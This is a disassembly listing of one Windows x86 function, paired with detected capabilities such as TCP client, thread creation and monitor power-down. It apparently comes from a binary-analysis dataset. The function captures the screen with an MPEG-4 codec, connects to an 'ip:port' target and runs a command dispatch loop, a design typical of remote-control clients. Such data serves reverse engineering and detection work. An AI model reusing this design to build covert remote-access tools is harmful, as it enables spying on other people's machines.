Function at 0x10007ecb
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Initialize winsock library
Power down monitor
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e4
push ebx
push esi
lea eax, [ebp - 0x3e4]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x100944b0
call dword [sym.imp.GDI32.dll_CreateDCA]
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 8
push eax
mov dword [ebp - 0x18], eax
call esi
push 0xa
mov edi, eax
push dword [ebp - 0x18]
call esi
push 0x1001d878
mov esi, eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
imul eax, esi
shl eax, 2
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
mov dword [ebp - 8], eax
je 0x10008255
push 4
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x14], ebx
push 1
push 0x3447504d
push 0x63646976
call sub.MSVFW32.dll_ICOpen
cmp eax, ebx
mov dword [0x10093244], eax
je 0x10007f67
mov dword [ebp - 0x14], 4
mov ecx, esi
push 0x1001d890
imul ecx, edi
push 0x1008e130
push 0x4004
lea ecx, [ecx + ecx*2]
push eax
mov dword [0x1008e130], 0x28
mov dword [0x1008e134], edi
mov dword [0x1008e138], esi
mov word [0x1008e13c], 1
mov word [0x1008e13e], 0x18
mov dword [0x1008e144], ecx
mov dword [0x1008e140], ebx
mov dword [0x1008e154], ebx
mov dword [0x1008e150], ebx
mov dword [0x1008e148], ebx
mov dword [0x1008e14c], ebx
call sub.MSVFW32.dll_ICSendMessage
push ebx
push ebx
push ebx
push 0x56
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0xffffffffffffffff
push 0xf170
push 0x112
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageA]
call fcn.10007e12
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x1000802a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x10093554
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
pop ecx
push 0x3a
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x1c], eax
je 0x10008255
push dword [ebp + 0x10]
mov byte [eax], bl
mov word [ebp - 0x2c], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
mov word [ebp - 0x2a], ax
lea eax, [ebp - 0x2c]
push 0x10
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10008201
push ebx
push ebx
push ebx
push 0x10007141
push ebx
push ebx
mov dword [0x10093248], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x248], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x24c], eax
push ebx
lea eax, [ebp - 0x254]
push 0x228
push eax
mov dword [ebp - 0x3c], edi
mov edi, dword [ebp - 0x14]
push dword [ebp - 4]
mov dword [ebp - 0x38], esi
mov esi, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x34], edi
call esi
cmp eax, 0xffffffff
je 0x10008201
push ebx
lea eax, [ebp - 0x10]
push 8
push eax
push dword [ebp - 4]
mov dword [ebp - 0x10], 0x2e
mov dword [ebp - 0xc], edi
call esi
cmp eax, 0xffffffff
je 0x10008201
call fcn.10007312
test eax, eax
mov esi, 0x10093e10
jne 0x1000812d
push 0x10094474
call fcn.100073da
pop ecx
mov dword [0x10093228], 1
jmp 0x1000813a
push esi
call fcn.100073da
pop ecx
mov dword [0x10093228], ebx
push 8
lea eax, [ebp - 0x10]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [0x10093228], ebx
je 0x10008167
call fcn.10007312
test eax, eax
jne 0x10008167
push esi
call fcn.100073da
pop ecx
mov dword [0x10093228], ebx
push ebx
lea eax, [ebp - 0x10]
push 8
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10008201
mov eax, dword [ebp - 0x10]
cmp eax, ebx
je 0x10008201
sub eax, 0x2f
je 0x100081f2
dec eax
je 0x100081e3
sub eax, 0x1f
je 0x100081d0
dec eax
je 0x100081b4
sub eax, 0xe
je 0x100081a9
dec eax
jne 0x1000813a
push dword [ebp - 4]
call fcn.10007d35
jmp 0x100081b1
push dword [ebp - 4]
call fcn.100076d5
pop ecx
jmp 0x1000813a
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
push dword [ebp - 4]
call fcn.100078ac
add esp, 0x10
call fcn.10007442
jmp 0x1000813a
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 4]
call fcn.10007baf
add esp, 0xc
jmp 0x100081c6
mov dword [0x10093250], 1
jmp 0x1000813a
mov dword [0x1009324c], 1
jmp 0x1000813a
mov eax, dword [0x10093244]
cmp eax, ebx
je 0x10008216
push eax
call sub.MSVFW32.dll_ICClose
mov dword [0x10093244], ebx
push dword [ebp - 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov dword [0x10093230], ebx
push dword [ebp - 4]
mov dword [0x10093234], ebx
mov dword [0x10093248], ebx
mov dword [0x1009324c], ebx
mov dword [0x10093250], ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [ebp - 0x18]
call dword [sym.imp.GDI32.dll_DeleteDC]
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
pop ebx
leave
ret 0x10